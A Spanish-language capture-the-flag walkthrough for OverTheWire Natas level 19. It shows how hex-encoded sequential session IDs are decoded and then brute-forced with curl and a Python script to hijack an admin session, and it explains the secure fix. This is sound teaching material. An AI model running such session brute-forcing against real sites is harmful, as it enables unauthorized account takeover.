Natas Nivel 19 a 20
Nivel oficial: http://natas19.natas.labs.overthewire.org
Este nivel extiende el ataque de fuerza bruta de sesiones de Natas 18 con una capa de ofuscacion minima: el PHPSESSID ya no es un numero entero en texto plano, sino ese mismo numero codificado en hexadecimal junto con el nombre de usuario. La ofuscacion no equivale a seguridad; el patron sigue siendo predecible y bruteforceable.
Este ejercicio se realiza en un entorno de laboratorio legal y autorizado (OverTheWire). Nunca apliques estas tecnicas fuera de sistemas en los que tengas permiso explicito.
Objetivo
Obtener una sesion activa del usuario admin explotando que los identificadores de sesion siguen un patron predecible, aunque esten codificados en hex. Con esa sesion, recuperar la contrasena de natas20.
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
Inspeccion de cookies en DevTools o curl -v | Ver el valor raw del PHPSESSID asignado |
echo "hex" | xxd -r -p | Decodificar hex a texto legible para revelar el patron |
python3 -c "..." o printf '%s' ... | xxd | Codificar <n>-admin a hex para construir cada candidato |
curl con -b "PHPSESSID=<valor>" | Enviar cookies arbitrarias sin navegador |
| Script de fuerza bruta (bash o Python) | Iterar sobre el espacio de IDs posibles de forma automatica |
Concepto clave
IDs de sesion predecibles con ofuscacion superficial.
La categoria de vulnerabilidad es Broken Authentication (OWASP A07:2021). El patron tipico es:
- El servidor genera IDs de sesion con entropia insuficiente o con un algoritmo reversible.
- El desarrollador anade una capa de encoding (base64, hex, etc.) creyendo que eso los protege.
- El atacante observa su propia cookie, invierte el encoding, descubre la formula y enumera el espacio completo.
En este nivel la formula es:
PHPSESSID = hex( "<numero>-<usuario>" )
Por ejemplo, si el servidor te asigna el numero 274 y te has logueado como test, la cookie sera el equivalente hex de la cadena 274-test.
Paso a paso
1. Iniciar sesion con credenciales arbitrarias y capturar la cookie
Usa cualquier usuario/contrasena incorrectos; el servidor igualmente asigna una sesion. Con curl puedes ver la cabecera Set-Cookie:
curl -v -c cookies.txt \
-d "username=test&password=test" \
http://natas19.natas.labs.overthewire.org/index.php \
-u natas19:<pass_natas19>Busca la linea Set-Cookie: PHPSESSID=<valor_hex>.
2. Decodificar la cookie para revelar el patron
echo "<valor_hex>" | xxd -r -p
# Salida esperada: 274-test (el numero varia en cada sesion)Confirmado el patron <n>-<usuario>.
3. Generar candidatos <n>-admin en hex y hacer fuerza bruta
El espacio de numeros es el mismo que en natas18 (tipicamente 1-640). El siguiente script Python itera todo el rango:
import requests
from requests.auth import HTTPBasicAuth
TARGET = "http://natas19.natas.labs.overthewire.org/index.php"
AUTH = HTTPBasicAuth("natas19", "<pass_natas19>")
for n in range(1, 641):
candidato = f"{n}-admin"
cookie_hex = candidato.encode().hex()
r = requests.get(TARGET, cookies={"PHPSESSID": cookie_hex}, auth=AUTH)
if "You are logged in as a regular user" not in r.text and "natas20" in r.text:
print(f"[+] ID encontrado: {n} cookie: {cookie_hex}")
print(r.text)
break
if n % 50 == 0:
print(f"... probando {n}")El rango exacto y el mensaje de exito pueden requerir ajuste fino contra el reto en vivo: observa la respuesta HTML de un intento fallido para afinar la cadena de deteccion.
4. Leer la contrasena
Cuando el script imprime la pagina con sesion admin activa, encontraras la contrasena de natas20 en el HTML:
La contrasena para natas20 es: <pass_natas20>
Por que funciona
El servidor usa un entero autoincremental como identificador de sesion interno. Codificarlo en hex no anade entropia: cualquiera que observe su propia cookie puede invertir la transformacion e iterar el espacio completo en segundos. Una sesion segura debe generarse con un CSPRNG de al menos 128 bits de entropia, sin componentes predecibles (numero secuencial, nombre de usuario, timestamp) en su composicion.
Errores comunes
| Error | Causa | Solucion |
|---|---|---|
| La cookie decodificada no muestra el patron esperado | Se copio mal el valor hex (espacios, salto de linea) | Copia solo los caracteres hex; usa tr -d '\n' si es necesario |
| El script nunca encuentra la sesion admin | El rango 1-640 no cubre el ID asignado, o el mensaje de deteccion no coincide | Amplia el rango a 1000; imprime r.text en el primer intento para ver el HTML real |
xxd -r -p da error o salida vacia | xxd no esta instalado o la entrada tiene caracteres invalidos | Usa python3 -c "import binascii; print(binascii.unhexlify('<hex>'))" como alternativa |
Autenticacion HTTP 401 en curl | Credenciales de natas19 incorrectas en la cabecera Basic Auth | Verifica la contrasena obtenida en el nivel anterior |
Pasar al siguiente nivel
Con la contrasena <pass_natas20> accede a:
http://natas20.natas.labs.overthewire.org
Usuario: natas20
Contrasena: <pass_natas20>